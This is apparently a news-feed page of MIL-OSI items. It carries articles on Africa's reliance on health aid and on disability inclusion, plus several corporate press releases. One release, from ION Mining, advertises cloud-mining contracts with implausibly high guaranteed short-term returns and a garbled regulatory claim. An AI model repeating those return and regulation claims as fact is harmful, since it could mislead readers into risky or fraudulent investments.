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Category: Machine Learning

  • MIL-OSI Africa: Africa relies too heavily on foreign aid for health – 4 ways to fix this

    Source: The Conversation – Africa – By Francisca Mutapi, Professor in Global Health Infection and Immunity. and co-Director of the Global Health Academy, University of Edinburgh

    There’s been a global trend in the reduction of aid to Africa since 2018. Donors are shifting their funding priorities in response to domestic and international agendas. Germany, France and Norway, for instance, have all reduced their aid to Africa in the past five years. And, in 2020, the UK government reduced its Overseas Development Aid from 0.7% of gross national income to 0.5%.

    Many health services across the African continent rely heavily on overseas aid to provide essential care. International funding supports everything from vaccines and HIV treatment to maternal health programmes.

    Cuts to aid, particularly unilateral ones, can have widespread implications. For instance, about 72 million people missed out on treatment for neglected tropical diseases between 2021 and 2022 due to UK aid cuts.

    The freeze of US aid to Africa in January 2025 is the latest in this trend. It’s already having significant and wide-ranging impacts across the African continent. For example, vaccination campaigns for polio eradication and HIV/Aids treatment through the President’s Emergency Plan for AIDS Relief (Pepfar) have been stopped. This puts millions of lives at risk. In South Africa alone, the cut of Pepfar’s US$400 million a year to HIV programmes risks patients defaulting on treatment, infection rates going up and eventually a rise in deaths.

    President Donald Trump’s actions have highlighted Africa’s reliance on foreign aid for health funding. I’m a global health expert who sits on various funding and advisory boards, including those of the World Health Organization (WHO), the UK government and boards of global resource mobilisation organisations. I am well aware of the competing funding priorities for international funders and have long advocated for local, sustainable health funding mechanisms.

    Long-term strategies to reduce aid dependency are critical. Breaking away from this current funding status requires concerted efforts building on proven best practice.


    Read more: How nonprofits abroad can fill gaps when the US government cuts off foreign aid


    Country-leadership and ownership

    African countries currently face the unique challenge of simultaneously dealing with high rates of communicable diseases, such as malaria and HIV/Aids, and rising levels of non-communicable diseases, such as cardiovascular diseases and diabetes.

    But Africa’s health systems are not sufficiently resourced. They’re not able to provide appropriate, accessible and affordable healthcare to address these challenges.

    African governments spend less than 10% of their GDP on health, amounting to capital expenditure of US$4.5 billion. This falls short of the estimated US$26 billion annual investment needed to meet evolving health needs.

    Aid goes towards filling this funding gap. For example, in 2021, half of sub-Saharan African countries relied on external financing, such as grants and loans, for more than one-third of their health expenditures.

    Foreign aid has helped. But it clearly leaves African countries vulnerable to the political mood swings among funders.

    It also leads to loss of self-determination in terms of health priorities as, ultimately, the funder determines the health priorities. This is one reason why many programmes in Africa focus on a single disease, such as HIV. This leads to poorly integrated health services. For instance health workers or services are channelled into managing a single disease.

    New, underutilised financing options

    The current trajectory of reduced aid to Africa is likely to continue. Global aid is being directed to other challenges, such as conflict and illegal immigration.

    The continent cannot continue on the same path while hoping for different outcomes. Africa needs to grow a range of immediately available domestic financing options. Many of these are underutilised and include:

    1.) Diversifying domestic resource mobilisation. This should include commodity taxation to fund health. For instance, tobacco taxes which are currently underutilised in Africa.

    Zimbabwe offers a successful example. It has bridged donor resource gaps through its 3% Aids levy (started in 1999). Imposed on both individual and corporate incomes, it funds domestic HIV/Aids prevention, care and treatment programmes.

    Nigeria’s another country that’s taken initiative, prioritising domestic budget allocation to health. It recently absorbed the 28,000 healthworkers formerly paid by USAid. This demonstrates that domestic health financing in Africa is possible.

    2.) More private-public partnerships. Formed between local and international philanthropies or institutions, these can bridge financing gaps.

    One successful example is the 2015 health service provision partnership between the Kenyan government and GE Healthcare. GE Healthcare provides radiography equipment and services which the government pays for over time. This allows the government to budget and plan healthcare expenditure over several years.

    3.) Promotion of regional integration to boost local production. This will reduce the need for aid-funded imported medical products.

    For instance, the African Union’s harmonised Africa Medicines Authority registration facility creates a single continental market for medicines. This supports local producers and exporters, by allowing them to operate on a larger scale. It also makes production and distribution more cost-effective. Finally, it reduces the reliance on imported medicines, strengthening Africa’s pharmaceutical industry.

    4.) Leverage development finance institutions. These are specialised financial organisations – such as the Africa Development Bank, African Export-Import Bank and the Development Bank of Southern Africa. They can provide capital and expertise to projects deemed too risky for traditional investors. This includes support for health financing for infrastructure development, private sector development for small and medium-sized enterprises and the regional integration.

    One transformative initiative is the AfricInvest investment platform. With support from development finance institutions in the US and Europe, AfricInvest has raised over US$100 million for health investment in Africa. It has funded at least 45 dialysis facilities in Africa, delivering over 130,000 dialysis sessions annually, primarily to remote and underserved communities all at affordable costs.

    A combination of these approaches at national, regional and continental level will accelerate Africa’s withdrawal from aid dependency.

    – Africa relies too heavily on foreign aid for health – 4 ways to fix this
    – https://theconversation.com/africa-relies-too-heavily-on-foreign-aid-for-health-4-ways-to-fix-this-249886

    MIL OSI Africa –

    February 25, 2025
  • MIL-OSI: Capital Bancorp, Inc. Completes Operational Conversion of Integrated Financial Holdings, Inc.

    Source: GlobeNewswire (MIL-OSI)

    ROCKVILLE, Md., Feb. 24, 2025 (GLOBE NEWSWIRE) — Capital Bancorp, Inc. (“CBNK”) announced that it had completed the conversion of Integrated Financial Holdings, Inc. (“IFH”) into its operations and systems. This conversion integrates IFH customer accounts into CBNK’s products and services.

    West Town Bank & Trust and Windsor Advantage previously operated as subsidiaries of IFH. In connection with the merger completed on October 1, 2024, West Town Bank & Trust merged with and into Capital Bank, N.A. and Windsor Advantage became a subsidiary of Capital Bancorp, Inc.

    “While Capital and IFH have already been effectively operating as one company, this conversion marks a major milestone,” said Ed Barry, Chief Executive Officer of CBNK. “Now that the conversion is complete, we are well positioned to better serve our customers and continue to execute on the meaningful synergies that we expect to accrue in the merger.”

    CBNK completed the conversion between the close of business on February 21st and reopening on February 24th. IFH customers – including customers of its North Riverside, IL branch – now have access to a wide selection of CBNK products and services. In addition, they can bank at any CBNK location, through digital banking or ATM. In connection with the merger, CBNK also anticipates opening a branch in Raleigh, NC on March 3, 2025.

    Information about the conversion and transition to CBNK was mailed to these customers on October 1, 2024. Since then, we have maintained ongoing communications to support a smooth transition.

    ABOUT CAPITAL BANCORP, INC.

    Capital Bancorp, Inc., Rockville, Maryland is a registered bank holding company incorporated under the laws of Maryland. Capital Bancorp has been providing financial services since 1999 and now operates bank branches in six locations including Washington D.C., Reston, VA, Ft. Lauderdale, FL, Rockville, MD, Columbia, MD and N. Riverside, IL. Capital Bancorp had assets of approximately $3.2 billion at December 31, 2024 and its common stock is traded in the NASDAQ Global Market under the symbol “CBNK.” More information can be found at the Company’s website www.CapitalBankMD.com under its Investor Relations page.

    Capital Bank, N.A.
    Media Contact:
    Bryon Stevens
    Investor Relations
    Email: bstevens@capitalbankmd.com

    The MIL Network –

    February 25, 2025
  • MIL-OSI: Intapp to Participate in Upcoming Investor Conference

    Source: GlobeNewswire (MIL-OSI)

    PALO ALTO, Calif., Feb. 24, 2025 (GLOBE NEWSWIRE) — Intapp, Inc. (NASDAQ: INTA), a leading global provider of AI-powered solutions for professionals at advisory, capital markets, and legal firms, today announced that senior management will attend and present at the following upcoming investor conference:

    Morgan Stanley Technology, Media & Telecom Conference                 
    Date: Monday, March 3, 2025
    Location: San Francisco, California
    Presentation: 9:15am PT

    A live webcast of the event and archived webcast will be accessible from the “News and Events” section of the company’s investor relations website at https://investors.intapp.com/.

    About Intapp

    Intapp software helps professionals unlock their teams’ knowledge, relationships, and operational insights to increase value for their firms. Using the power of Applied AI, we make firm and market intelligence easy to find, understand, and use. With Intapp’s portfolio of vertical SaaS solutions, professionals can apply their collective expertise to make smarter decisions, manage risk, and increase competitive advantage. The world’s top firms — across accounting, consulting, investment banking, legal, private capital, and real assets — trust Intapp’s industry-specific platform and solutions to modernize and drive new growth.

    Investor contact 

    David Trone
    Senior Vice President, Investor Relations
    Intapp, Inc.
    ir@intapp.com

    Media contact

    Ali Robinson
    Global Media Relations Director
    Intapp, Inc.
    press@intapp.com

    The MIL Network –

    February 25, 2025
  • MIL-OSI: Mavenir and Terrestar Achieve Industry First Satellite Voice Over NB-IoT Call in NTN Mode

    Source: GlobeNewswire (MIL-OSI)

    RICHARDSON, Texas, Feb. 24, 2025 (GLOBE NEWSWIRE) — Mavenir, the cloud-native network infrastructure provider building the future of networks, and Terrestar Solutions Inc., Canada’s premier mobile satellite operator, have achieved a groundbreaking milestone by successfully completing an industry first Voice over NB-IoT (Narrowband Internet of Things) call in NTN (Non-Terrestrial Networks) mode. The achievement was conducted over a 3GPP-standardized NTN S-band spectrum, avoiding interference common in terrestrial networks. Designed to work with GEO satellite delays as well, the network ensures consistent coverage despite higher latency. This approach enables GEO operators to monetize NTN services immediately.

    This industry-first call was made earlier in the year, January 2025, using standard codec, Sony’s Altair ALT1250 module, Mavenir Open RAN (Open vRAN and Open Beam radio), Mavenir Converged Packet Core, and was conducted in collaboration with Terrestar.

    The successful VoNB (Voice over NB-IoT) call highlights Mavenir’s and Terrestar’s industry leadership in delivering innovative solutions that bridge the connectivity gap in challenging and remote environments. By leveraging 3GPP standards-based NTN technology, the collaboration is driving the integration of satellite and terrestrial networks to bring seamless connectivity to underserved regions, supporting IoT use cases and extending the scope of reliable communication.

    Jacques Leduc, President, Terrestar Solutions: “Terrestar Solutions embodies innovation and leadership as the first MSS player to offer a real-time voice service based on a fully compliant 3GPP non-terrestrial network. With our dedicated S-band spectrum and an open network architecture, we leverage the strength of the 3GPP ecosystem to drive a breakthrough that sets us apart. Our mission: to accelerate the ecosystem development and provide all, through their mobile service provider, with satellite mobile connectivity that ensures security, autonomy, and independence.” 

    Sachin Karkala, SVP & GM, RAN Business Unit, Mavenir: “Satellite services provide the perfect addition to existing terrestrial networks, adding a layer of widespread coverage, and nowhere is this more important than underserved and remote regions. This development allows satellite operators to launch voice services immediately using available spectrum, existing GEO satellites and industry-standard user equipment with a simple software upgrade to deliver voice services country-wide.”

    This achievement paves the way for broader adoption of NTN-based NB-IoT solutions and further integration of voice services into IoT ecosystems as the standards progress. It also reinforces Mavenir’s role as a pioneer in delivering technologies that empower industries and communities worldwide.

    Notes to the editor:

    About Terrestar Solutions

    Terrestar Solutions Inc. is the only Canadian mobile satellite operator engaged in the race to bring direct-to-device satellite services to smartphones and IoT devices and make anywhere-in-Canada communication a reality. Terrestar is committed to nurturing the ever-evolving, standards-based and open network ecosystem, enabling Mobile Network Operators to deliver ubiquitous communication services. Thanks to the Echostar T1 satellite, its ground network infrastructure and 40MHz of S-band mobile-satellite spectrum, Terrestar connects Canadians from almost anywhere in the country, even in Canada’s most remote regions, through its Strigo Mobile-Satellite Service (MSS). The Strigo service also supports non-profit and First Nations organizations, a testament to the Company’s powerful sense of responsibility towards the welfare and progress of the communities it serves. For more information, visit www.terrestarsolutions.ca, or follow us on LinkedIn. 

    About Mavenir

    Mavenir is building the future of networks today with cloud-native, AI-enabled solutions which are green by design, empowering operators to realize the benefits of 5G and achieve intelligent, automated, programmable networks. As the pioneer of Open RAN and a proven industry disruptor, Mavenir’s award-winning solutions are delivering automation and monetization across mobile networks globally, accelerating software network transformation for 300+ Communications Service Providers in over 120 countries, which serve more than 50% of the world’s subscribers. For more information, please visit www.mavenir.com

    Meet Mavenir at Mobile World Congress 2025, Barcelona, Mar 3-6, 2025.

    To explore Mavenir’s latest innovations and learn more about how Mavenir is delivering the Future of Networks – Today, visit us in Hall 2 (Stand 2H60) at #MWC25.

    Media Contacts

    Mavenir: Emmanuela Spiteri PR@mavenir.com
    Terrestar: Victoria Ollers media@terrestarsolutions.ca 

    The MIL Network –

    February 25, 2025
  • MIL-OSI: Sprout Social Customers Achieved 268% Return on Investment According to New Independent Study

    Source: GlobeNewswire (MIL-OSI)

    CHICAGO, Feb. 24, 2025 (GLOBE NEWSWIRE) — Sprout Social (Nasdaq: SPT), an industry-leading provider of cloud-based social media management software, today announced the release of a Total Economic Impact™ study conducted by Forrester Consulting. The 2025 study reveals that Sprout Social enabled customers to achieve a return on investment (ROI) of 268% and a net present value (NPV) of $1.3 million over three years with a payback period of less than six months.

    The commissioned study conducted by Forrester Consulting on behalf of Sprout Social found that prior to Sprout Social, interviewed customers’ social teams spent 70% of their time scheduling and publishing posts, listening, replying on social media channels, and planning campaigns. By streamlining these processes and providing direct access to key performance and customer insights, the study found that Sprout Social customers saw a 60% productivity lift, enabling social teams to focus on more impactful work that increases audience engagement, improves customer satisfaction and boosts revenue.

    Sprout customers saw time savings and significant ROI across owned channels, influencer campaigns and employee advocacy programs.

    “Social is now one of the greatest and most important touchpoints an organization has with their customers,” said Scott Morris, CMO of Sprout Social. “Without an intuitive tool, managing campaigns across social–whether on owned channels or through an influencer program–isn’t possible. We’ve built a platform that helps brands make the most of their social investments to develop competitive, scalable strategies that unlock the full potential of social. This study reinforces the value we bring to customers while also underscoring the considerable value and ROI of social.”

    Customers reported that Sprout’s unified platform, AI-powered features and reporting capabilities enabled them to refocus their time on more important tasks and develop content and campaigns that better resonated with their audience and generated ROI. The Forrester study also found that a composite organization of interviewed Sprout Social customers realized the following benefits over three years:

    • Reduction of 80% in employee time spent on social media reporting.
    • Time savings of 60%, worth $1.1 million, on scheduling and publishing posts, social listening, replying on social media channels, and planning campaigns.
    • Time savings of 25% on discovering and managing influencers when leveraging Sprout Social Influencer Marketing
    • Increased organic traffic and $130,000 in additional revenue by leveraging Employee Advocacy by Sprout Social.

    These findings reflect the benefits that brands have seen by utilizing Sprout’s platform. In the study, customers said:

    “Sprout Social gives us time to strategize around our content and make it high-quality so that people respond to it. Sprout was able to take the stuff that we were spending a ton of time on so that we can sit down and figure out what’s working and really lean into it.”

    “I would have to at least triple the size of my team if I didn’t have Sprout.”

    “We’ve had a significant increase in engagement since using Sprout. Even just this past quarter, year over year, we’ve seen a 600% increase in engagement across our social media channels. We have more time to strategize versus time on executing content.”

    For more information on the Total Economic Impact™ study of Sprout Social please visit https://sproutsocial.com/insights/data/forrester-tei-study/, and learn more about Sprout Social at sproutsocial.com.

    About Sprout Social

    Sprout Social is a global leader in social media management and analytics software. Sprout’s intuitive platform puts powerful social data into the hands of approximately 30,000 brands so they can deliver smarter, faster business impact. Named the #1 Best Software Product by G2’s 2024 Best Software Award, Sprout offers comprehensive publishing and engagement functionality, customer care, influencer marketing, advocacy, and AI-powered business intelligence. Sprout’s software operates across all major social media networks and digital platforms. For more information about Sprout Social (NASDAQ: SPT), visit sproutsocial.com.

    Social Media Profiles:
    www.twitter.com/SproutSocial
    www.twitter.com/SproutSocialIR
    www.facebook.com/SproutSocialInc
    www.linkedin.com/company/sprout-social-inc-/
    www.instagram.com/sproutsocial

    Contact
    Media:
    Kaitlyn Gronek
    Email: pr@sproutsocial.com
    Phone: (773) 904-9674

    Investors:
    Lexi Johnson
    Twitter: @SproutSocialIR
    Email: lexi.johnson@sproutsocial.com
    Phone: (312) 528-9166

    The MIL Network –

    February 25, 2025
  • MIL-OSI Global: Why including people with disabilities in the workforce and higher education benefits everyone

    Source: The Conversation – USA – By Lauren Shallish, Associate Professor of Disability Studies in Education, Rutgers University – Newark

    The employment rate for people with disabilities is about half that of nondisabled people. Johner Images via Getty Images

    Whether it’s declaring that blindness prevents government employees from doing their jobs or suggesting that hiring workers with intellectual disabilities contributed to Federal Aviation Administration safety lapses, the Trump administration has repeatedly questioned whether people with disabilities belong in the workplace.

    This stance reflects widespread stigma and misconceptions about what people with disabilities can and do accomplish.

    Negative stereotypes and exclusionary practices persist despite the fact that people with disabilities are the largest minority group in the United States, representing nearly 30% of the population. Whether or not you identify as disabled, most people live or work in close proximity to others with a disability.

    For years I have researched how people with disabilities have been kept out of efforts to guarantee equal access for everybody, particularly in higher education. This exclusion is often due to unfounded beliefs about capacity, intellect and merit, and the false premise that disability inclusion requires lowering standards.

    However, studies demonstrate that including people with disabilities is good for everyone, not just disabled people. Schools and workplaces are more collaborative and responsive when people with disabilities are included at all levels of the organization. In other words, disability inclusion isn’t about charity; it’s about making organizations work better.

    The Americans with Disabilities Act, enacted in 1990, provides legal protections for people with disabilities in the workplace.
    kyotokushige/DigitalVision via Getty Images

    Rolling back protections

    President Donald Trump issued executive orders the day he took office for a second time that aimed at ending government and private-sector efforts to make U.S. workplaces and schools more diverse, equitable and inclusive. In addition to affecting LGBTQ+ communities and people of color, these measures could erode years of progress toward protecting the rights of people with disabilities to earn a living.

    Between 40 million and 80 million Americans identify as disabled. Even the higher end of this range underestimates the actual number of people with disabilities, because some individuals choose not to identify that way or even realize they qualify as such. That includes people with impairments from chemical and pesticide exposure, as well as many older people and those who are living with HIV and AIDS, to name some examples.

    Only 15% of people with disabilities are born with their impairment, so most individuals become disabled over their lifetime.

    Tracing historical precedents

    Blaming failures on people with disabilities and people of color echoes the harms embedded in eugenics, an attempt to scientifically prove genetic inferiority of disabled, LGBTQ+ Indigenous and Black people.

    Eugenics led to the institutionalization and forced sterilization of, and the coercive experimentation on, people with disabilities, immigrants and people of color across the U.S. Even the Supreme Court endorsed the concept in the early 20th century.

    These studies began to fade after World War II, but their legacy persists. Even today, forced sterilization continues to be lawful in U.S jurisdictions in 31 states and in Washington.

    Due to widespread activism and the advent of new legal protections, many states finally dismantled their eugenic policies in the late 1970s. But eugenics-era experiments provided foundations for contemporary medical research, standardized testing and segregated school placements.

    People with disabilities have far-reaching legal guarantees of civil rights and access today due to the Americans with Disabilities Act. The statute, which was enacted in 1990 and strengthened in 2008, provided protections in the workplace, educational settings, transportation and places of recreation and commerce, among others. It also guarded against negative perceptions of disability.

    For example, if an employer perceived someone as disabled and denied them consideration in the hiring process because of that, the candidate would be protected from discrimination under the ADA – whether or not they had a disability.

    While these advances are significant, many people with disabilities still do not have access to their basic civil rights. This is particularly true of Black people with disabilities, as they are disproportionately pushed out of school, disciplined more harshly, targeted for incarceration and marginalized in disability representation and research.

    Accommodations for people with disabilities enable them to contribute unique talents to classrooms and workplaces.
    Halfpoint Images via Getty Images

    Gaining workplace accommodations

    Critics of inclusion efforts sometimes wrongly argue that employing people with disabilities is too costly due to the accommodations they may require. But the Job Accommodation Network in the Department of Labor’s Office of Disability Employment Policy found in 2023 that nearly 60% of these accommodations cost nothing.

    What’s more, many tax incentives are available to cover these costs.

    Disability civil rights law does not mandate hiring people who are not qualified or lowering standards to include the disabled. The law requires that candidates meet the “essential functions” of the job in order to be hired.

    According to a 2024 Labor Department report, the employment rate for working-age people with disabilities was 38% compared with 75% for nondisabled people. Though there are countless reasons for this disparity, many people with disabilities can and want to work, but employers don’t give them the opportunity.

    Providing benefits for everyone

    Many accommodations designed for people with disabilities also benefit others.

    Captioning on videos and movies was originally meant to benefit the deaf community, but it also helps multilingual speakers and people who simply are trying to follow the dialogue. Similarly, visual or written instructions assist people with depression, Down syndrome or attention-deficit/hyperactivity disorder, but they can also make tasks more accessible for everyone, along with breaking assignments into smaller components.

    Sensory break rooms benefit people with autism and post-traumatic stress disorder, while also providing a reprieve in a noisy work environment and minimizing distractions. Remote work options can make it easier for people with chronic illnesses to be employed, and they similarly benefit others who may have caregiving responsibilities – helping attract and retain talented employees. Text-to-speech software provides people with cerebral palsy and nonspeaking individuals with options for communication, similar to options that many people already use on their phones.

    A large body of research demonstrates the broad benefits of making jobs and schools more accessible to people with disabilities, which is ultimately an advantage for everyone.

    Studies on diversity in educational and workplace settings also demonstrate positive outcomes. In a study of 10 public universities, researchers found that students who reported positive, informal interactions with diverse peers had higher scores on measures of more complex thinking, a concern for the public good and an interest in poverty issues, and were more likely to vote and develop strong leadership skills.

    In a national survey of human resources managers conducted in 2019, 92% of the respondents who were aware that one or more of their employees had a disability said those individuals performed the same or better than their peers who did not.

    Research published by the Harvard Business Review found many advantages to hiring people with disabilities.

    For one thing, people with disabilities can have unique insights that contribute to the workplace culture. The presence of employees with disabilities can make the environment of entire companies and organizations more collaborative. Earning a reputation for inclusiveness and social responsibility can improve customer relations and can give businesses an edge when they seek funding and recruit talented new employees.

    Ultimately, I believe it’s important to create conditions where anyone can thrive, including people with disabilities. Doing so benefits everyone.

    Lauren Shallish does not work for, consult, own shares in or receive funding from any company or organization that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

    – ref. Why including people with disabilities in the workforce and higher education benefits everyone – https://theconversation.com/why-including-people-with-disabilities-in-the-workforce-and-higher-education-benefits-everyone-249676

    MIL OSI – Global Reports –

    February 25, 2025
  • MIL-OSI: Blockchain is Growing Fast, and Cloud Mining is a Popular Investment – ION Mining Expands Global Operations with High-Yield Contracts

    Source: GlobeNewswire (MIL-OSI)

    LONDON, Feb. 24, 2025 (GLOBE NEWSWIRE) — ION Mining, a leading global cloud mining platform, is excited to announce its latest cloud mining plans for 2025, designed to offer investors and cryptocurrency enthusiasts higher returns, enhanced sustainability, and greater accessibility. With the rapid expansion of the cryptocurrency market, ION Mining continues to revolutionize Bitcoin and Ethereum mining with cutting-edge technology and environmentally friendly solutions.

    Introducing New High-Yield Mining Contracts

    To meet the growing demand for secure and profitable cloud mining, ION Mining has launched exclusive 2025 mining contracts, offering competitive returns and a seamless user experience:

    • Basic Cloud Computing Plan – Invest $300, earn $27.3 in 5 days
    • Classic Cloud Computing Plan – Invest $1,200, earn $388.8 in 15 days
    • Advanced Cloud Computing Plan – Invest $5,000, earn $1,155 in 10 days
    • Super Cloud Computing Plan – Invest $11,000, earn $8,118 in 30 days

    Each contract ensures a full return of the initial investment at the end of the term, allowing users to reinvest or withdraw their earnings with complete flexibility.

    Why Choose ION Mining?

    Founded in 2017 and headquartered in the UK, ION Mining is authorized and regulated by the UK Financial Services Authority (FCA), providing a secure and compliant platform for users worldwide. With over 100 global data centers across North America, Eastern Europe, the Middle East, and South America, ION Mining guarantees a stable and transparent mining environment.

    Key benefits of ION Mining include:

    • Instant Access & Zero-Cost Trial – New users receive a $15 bonus upon registration, allowing them to test the platform risk-free.
    • State-of-the-Art Technology – Utilizing industry-leading mining hardware such as Bitmain and NVIDIA for maximum efficiency.
    • Eco-Friendly Mining Operations – Powered by renewable energy sources, reducing environmental impact and operational costs.
    • No Hidden Fees – Transparent pricing structure with no unexpected maintenance or withdrawal charges.

    A Sustainable Future in Cryptocurrency Mining

    As part of its commitment to sustainability, ION Mining is expanding its use of green energy solutions, ensuring an eco-conscious approach to cryptocurrency mining. By leveraging solar and wind power, ION Mining reduces carbon footprints while maintaining profitability for its users.

    Join ION Mining and Start Earning Today!

    ION Mining provides a secure, efficient, and lucrative solution for individuals looking to generate passive income in the cryptocurrency space. Whether you’re a beginner or an experienced investor, ION Mining’s flexible plans cater to all financial goals. Don’t miss the opportunity to be part of the next evolution in cloud mining.

    For more information and to start mining today, visit: https://ionmining.com/

    Contact:
    Email: info@ionmining.com
    Website: https://ionmining.com/

    About ION Mining:
    ION Mining is a global leader in cloud mining solutions, offering secure, efficient, and sustainable cryptocurrency mining services. Established in 2017, ION Mining is fully regulated and continues to set industry standards in innovation and transparency.

    Disclaimer: This press release is provided by ION Mining. The statements, views, and opinions expressed in this content are solely those of the sponsor and do not necessarily reflect the views of this media platform. We do not endorse, verify, or guarantee the accuracy, completeness, or reliability of any information presented. This content is for informational purposes only and should not be considered as financial, investment, or trading advice. Investing in cloud mining and related opportunities involves significant risks, including the potential loss of capital. Readers are strongly encouraged to conduct their own research and consult with a qualified financial advisor before making any investment decisions.

    Photos accompanying this announcement are available at:

    https://www.globenewswire.com/NewsRoom/AttachmentNg/1fec530c-720f-4cda-ad75-9ef83f4e7ebb

    https://www.globenewswire.com/NewsRoom/AttachmentNg/fb1d4172-f7c7-47cb-a4e2-d008a395d950

    https://www.globenewswire.com/NewsRoom/AttachmentNg/f981166c-5cbc-4ddd-bf3d-17ce8638dc31

    The MIL Network –

    February 25, 2025
  • MIL-OSI: KnowBe4 Secures Leadership Position in Frost Radar™: Human Risk Management, 2024 Report

    Source: GlobeNewswire (MIL-OSI)

    TAMPA BAY, FL, Feb. 24, 2025 (GLOBE NEWSWIRE) — KnowBe4, the world-renowned cybersecurity platform that comprehensively addresses human risk management (HRM), today announced that it has been named by Frost & Sullivan as a Leader in the Frost Radar™: Human Risk Management, 2024 report. This recognition reinforces KnowBe4’s reputation as an innovative and influential force in the HRM industry.

    Analyzing 80 global industry participants, Frost & Sullivan selected 15 benchmark vendors for the Frost Radar™ report based on performance and innovation. KnowBe4 stood out for its focus on human behavior, investment in redefining adaptive training and cybersecurity awareness, and diverse content library.

    In addition, KnowBe4 was recognized by Frost & Sullivan for: 

    • AI-powered adaptive phishing simulations
    • Behavioral security coaching with SecurityCoach
    • Comprehensive human risk scoring
    • PhishER Plus for threat identification and remediation
    • Security awareness training content

    “Our recognition as the Leader in the Frost & Sullivan Frost Radar™ report is an incredible validation of KnowBe4’s commitment to innovation and excellence in the HRM industry,” said Perry Carpenter, chief human risk management strategist at KnowBe4. “Achieving a top position underscores the impact of our AI-driven, ‘best-of-suite’ platform. By creating an adaptive defense layer that strengthens user behavior and anticipates emerging cybersecurity threats, we empower organizations to stay one step ahead. Innovation remains at the core of what we do, and we continue to expand our platform with personalized, actionable, and regionally relevant offerings that address both individual and organizational needs.”

    According to Frost & Sullivan, the HRM market is experiencing unprecedented growth, fueled by the need to address cybersecurity threats, employee well-being, and regulatory compliance. They note key drivers of this expansion include the rise of hybrid work, increasing cyber threats, and a focus on employee engagement. Emerging technologies like AI, machine learning, and behavioral analytics enable proactive risk identification, redefining HRM with predictive and seamless user experiences. As a result of this influx, a number of new vendors have entered the scene, offering diverse innovations that address the evolving needs and risks of a modern workplace. 

    Frost & Sullivan analyzed 80 global industry players and selected 15 top vendors for its Frost Radar™ analysis, using Growth and Innovation Indices to evaluate performance and innovation. These indices assess factors like market share, sales effectiveness, strategy alignment, growth potential, and the ability to deliver disruptive, customer-focused solutions. Together, these metrics provide a comprehensive view of each company’s strategy, performance, and innovation.

    To download the report, visit https://www.knowbe4.com/resources/industry-benchmark-reports/frost-and-sullivan-human-risk-management. 

    About KnowBe4
    KnowBe4 empowers workforces to make smarter security decisions every day. Trusted by over 70,000 organisations worldwide, KnowBe4 helps to strengthen security culture and manage human risk. KnowBe4 offers a comprehensive AI-driven ‘best-of-suite’ platform for Human Risk Management, creating an adaptive defence layer that fortifies user behaviour against the latest cybersecurity threats. The HRM+ platform includes modules for awareness & compliance training, cloud email security, real-time coaching, crowdsourced anti-phishing, AI Defense Agents, and more. As the only global security platform of its kind, KnowBe4 utilises personalised and relevant cybersecurity protection content, tools and techniques to mobilise workforces to transform from the largest attack surface to an organisation’s biggest asset.

    The MIL Network –

    February 25, 2025
  • MIL-OSI: reAlpha Acquires GTG Financial, Inc.

    Source: GlobeNewswire (MIL-OSI)

    DUBLIN, Ohio, Feb. 24, 2025 (GLOBE NEWSWIRE) — reAlpha Tech Corp. (“reAlpha”) (Nasdaq: AIRE), a real estate technology company developing and commercializing artificial intelligence (“AI”) technologies, today announced the acquisition of GTG Financial, Inc. (“GTG Financial”), a mortgage brokerage company founded by Glenn Groves, a U.S. Marine and industry leader. GTG Financial is licensed to operate in seven U.S. states, including California, which will expand reAlpha’s geographic footprint to a total of 28 U.S. states and strengthen its operational capacity.

    The acquisition of GTG Financial marks another step in reAlpha’s strategy to further enhance its mortgage operations and provide a more seamless home financing experience within the reAlpha platform, its AI-powered real estate platform. By incorporating GTG Financial’s experience in the real estate industry and its added workforce of loan officers, reAlpha anticipates that it will be able to bolster its overall operational capacity, expand its loan processing capabilities and offer mortgage lending and refinancing services to homebuyers more efficiently.

    “We are excited to welcome GTG Financial to the reAlpha group,” said Piyush Phadke, Chief Financial Officer of reAlpha. “This acquisition will strengthen our mortgage operations, allowing us to scale and more efficiently provide lending services through our AI-powered homebuying platform. By acquiring GTG Financial, we are continuing to advance our vision of a fully streamlined, technology-driven real estate experience.”

    GTG Financial will retain its brand identity under the leadership of its founder, Glenn Groves, while leveraging reAlpha’s resources and generative AI platform, which is expected to enhance loan processing efficiency and support a more seamless home financing experience.

    Glenn Groves, Chief Executive Officer of GTG Financial, added: “I believe that reAlpha’s AI-driven platform is redefining real estate by simplifying and eliminating traditional barriers in the homebuying process. We’re proud to be part of this transformation and committed to driving its long-term success. GTG Financial will be officially powered by Be My Neighbor, one of reAlpha’s subsidiaries, strengthening our mortgage services and operational efficiency.”

    Christopher Griffith, Chief Executive Officer of Be My Neighbor, and a fellow U.S. Marine, echoed the sentiment: “Real success in M&A comes from aligned leadership. I believe that, as Marines, Glenn and I share the same values of discipline, integrity and execution, making this partnership a natural fit.”

    For additional details concerning the terms of the acquisition of GTG Financial, please refer to reAlpha’s Current Report on Form 8-K, which will be filed with the U.S. Securities and Exchange Commission (the “SEC”).

    About GTG Financial Inc.

    GTG Financial, Inc. is a mortgage brokerage company founded by Glenn Groves, committed to helping individuals and families achieve their homeownership dreams, with a focus on transparency, customer service, and financial empowerment.

    About reAlpha Tech Corp.

    reAlpha Tech Corp. (Nasdaq: AIRE) is a real estate technology company developing an end-to-end commission-free homebuying platform. Utilizing the power of AI and an acquisition-led growth strategy, reAlpha aims to offer an affordable, streamlined experience for homebuyers. For more information, visit www.reAlpha.com.

    About the reAlpha Platform

    reAlpha’s AI-powered, commission-free homebuying platform enables buyers to navigate the homebuying process with ease. With the tagline “No Fees. Just Keys.™”, reAlpha is dedicated to eliminating traditional barriers and making homeownership more accessible and transparent. The platform’s generative AI assistant, “Claire,” supports homebuyers throughout the journey, from property search to closing, offering insights, market trends, and 24/7 assistance.

    Forward-Looking Statements

